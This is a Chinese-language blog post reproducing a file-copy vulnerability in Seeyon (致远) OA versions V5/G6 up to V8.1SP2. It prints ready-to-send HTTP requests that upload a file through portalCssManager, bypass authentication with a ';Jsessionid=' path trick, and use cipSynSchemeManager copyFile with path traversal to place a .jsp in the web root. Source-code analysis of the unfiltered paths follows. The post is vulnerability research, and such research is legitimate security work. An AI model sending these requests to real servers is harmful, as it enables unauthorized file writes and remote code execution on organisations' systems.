当前位置: 首页 > news >正文

致远CopyFile文件复制漏洞

复现版本

V8.0SP2

漏洞范围

V5&G6_V6.1至V8.0SP2全系列版本、V5&G6&N_V8.1至V8.1SP2全系列版本。

漏洞复现

上传文件

POST /seeyon/ajax.do?method=ajaxAction&managerName=portalCssManager&rnd=57507 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 65
Host: 192.168.1.7
Connection: close
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)
Cookie: JSESSIONID=B8961FAF38CCE07F84676274A672CA37; hostname=192.168.1.7:80; loginPageURL=; login_locale=zh_CNarguments=%5B%22aaaaa%22%5D&managerMethod=generateCssFileByCssStr

在这里插入图片描述
这里结合权限绕过漏洞
在这里插入图片描述
也可成功上传

文件复制

POST /seeyon/ajax.do;Jsessionid=a?method=ajaxAction&managerName=cipSynSchemeManager&rnd=29981 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 130
Host: 192.168.1.7
Connection: close
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)arguments=["../../../../resources/portal/css/963501343453105872","../../ApacheJetspeed/webapps/ROOT/2.jsp"]&managerMethod=copyFile

在这里插入图片描述
然后访问

http://192.168.1.7/sectestdssd.jsp

在这里插入图片描述

漏洞分析

整体利用思路先随便上传一个正常后缀文件, 且知道文件上传的路径和文件名, 再将其复制到WEB路径下,那么先看下面的文件复制,需要上传的一个正常后缀文件,再找上传点
上传点
可以看到portalCssManager的bean存在,那么就可以直接用ajax.do去反射使用了
在这里插入图片描述
首先直接找方法名generateCssFileByCssStr在这里插入图片描述
跟入compileString在这里插入图片描述
总体来说,这个方法接收一个SCSS字符串作为输入,将其编译为CSS字符串,并返回编译后的结果。
回到主方法,进入saveFileToUpload方法在这里插入图片描述
在这里插入图片描述
这段上传文件,根据传入的fileTypeEnum来获得门户资源文件夹的根目录,如果不存在就创建,那么这里fileTypeEnum为css,那么就是A8\base\resources\portal\css\目录
那么整体看就是在该目录创建css文件
在这里插入图片描述
也就是首先用时间创建目录,该时间目录下创建destFile,然后copyFile进行复制,但是这里copyFile和我们下面分析的还不一样,那么接下来分析copyFile怎么进行的复制

copyfile分析
cipSynSchemeManager也有bean,那么也可以调用copyFile方法
在这里插入图片描述
这里传入的source和target并未做过滤,从代码逻辑看,对应源文件和目标文件,并且如下在这里插入图片描述
源文件和目标文件都进行了拼接,那么就都可以进行跨目录操作,但是注意这里多了判断,如果目标文件存在,就不会复制生成了,那么每次操作都换个目标文件名就可以

总结
新的文件上传方式,先上传正常后缀文件,在进行copy

http://www.lryc.cn/news/396862.html

相关文章:

  • MySQL 创建数据库
  • AbyssFish单连通周期边界多孔结构2D软件
  • Linux驱动开发-03字符设备驱动框架搭建
  • Zynq系列FPGA实现SDI视频编解码+图像缩放+多路视频拼接,基于GTX高速接口,提供8套工程源码和技术支持
  • VS2019使用C#写窗体程序技巧(1)
  • Python爬虫-requests模块
  • 适用于PyTorch 2.0.0的Ubuntu 22.04上CUDA v11.8和cuDNN 8.7安装指南
  • 使用conda安装openturns
  • Chameleon:动态UI框架使用详解
  • 7.10飞书一面面经
  • [数据结构] 归并排序快速排序 及非递归实现
  • 面试题 12. 矩阵中的路径
  • 钉钉扫码登录第三方
  • 多GPU系统中的CUDA设备不可用问题
  • python的列表推导式
  • 类与对象(2)
  • 迂回战术:“另类“全新安装 macOS 15 Sequoia beta2 的极简方法
  • 如何设计一个秒杀系统,(高并发高可用分布式集群)
  • 深度优先搜索(所有可达路径)
  • 如何配置yolov10环境?
  • 『大模型笔记』GraphRAG:利用复杂信息进行发现的新方法!
  • 数据结构1:C++实现变长数组
  • C++入门基础篇(下)
  • LabVIEW图像分段线性映射
  • Linux开发:进程件通过UDS传递内存文件句柄
  • Internet Download Manager6.42最新下载器互联网冲浪小能手们!
  • Vue 使用Audio或AudioContext播放本地音频
  • 从数据仓库到数据湖(上):数据湖导论
  • Perl 语言开发(六):深入探索 Perl 中的数组与列表操作
  • 统一视频接入平台LntonCVS视频监控平台具体功能介绍